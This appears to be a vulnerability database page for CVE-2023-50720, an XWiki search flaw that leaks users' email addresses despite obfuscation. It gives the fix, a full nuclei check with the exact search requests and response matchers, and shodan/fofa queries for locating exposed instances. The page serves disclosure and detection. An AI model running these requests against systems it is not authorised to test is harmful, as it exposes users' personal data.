HexBrain

Browse / CVEs / CVE-2023-50720

CVE-2023-50720· xwiki / xwiki· CWE-200

XWiki < 4.10.15 - Email Disclosure

mediumseverity
5.3CVSS score
59.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The Solr-based search in XWiki discloses the email addresses of users even when obfuscation of email addresses is enabled. To demonstrate the vulnerability, search for objcontent:email* using XWiki's regular search interface.

Impact

Successful exploitation could lead to disclosure of the email of all the users.

Fix

This has been fixed in XWiki 14.10.15, 15.5.2 and 15.7RC1 by not indexing email address properties when obfuscation is enabled.

How to confirm it

Send: GET {{BaseURL}}/bin/view/Main/Search?sort=score&sortOrder=desc&highlight=true&facet=true&r=1&f_locale=en&f_locale=&text=objcontent%3Aemail* ; GET {{BaseURL}}/xwiki/bin/view/Main/Search?sort=score&sortOrder=desc&highlight=true&facet=true&r=1&f_locale=en&f_locale=&text=objcontent%3Aemail*
Positive when: contains "email</span> :" and "XWiki.XWikiUsers[0]" and "email_checked</span>" AND status 200

Run it with nuclei: nuclei -id CVE-2023-50720 -u <target>

The full check
id: CVE-2023-50720

info:
  name: XWiki < 4.10.15 - Email Disclosure
  author: ritikchaddha
  severity: medium
  description: |
    The Solr-based search in XWiki discloses the email addresses of users even when obfuscation of email addresses is enabled. To demonstrate the vulnerability, search for objcontent:email* using XWiki's regular search interface.
  impact: |
    Successful exploitation could lead to disclosure of the email of all the users.
  remediation: |
    This has been fixed in XWiki 14.10.15, 15.5.2 and 15.7RC1 by not indexing email address properties when obfuscation is enabled.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-20371
    - https://nvd.nist.gov/vuln/detail/CVE-2023-50720
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-50720
    cwe-id: CWE-200
    epss-score: 0.59119
    epss-percentile: 0.99122
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2023,xwiki,email,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/bin/view/Main/Search?sort=score&sortOrder=desc&highlight=true&facet=true&r=1&f_locale=en&f_locale=&text=objcontent%3Aemail*"
      - "{{BaseURL}}/xwiki/bin/view/Main/Search?sort=score&sortOrder=desc&highlight=true&facet=true&r=1&f_locale=en&f_locale=&text=objcontent%3Aemail*"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "email</span> :"
          - "XWiki.XWikiUsers[0]"
          - "email_checked</span>"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from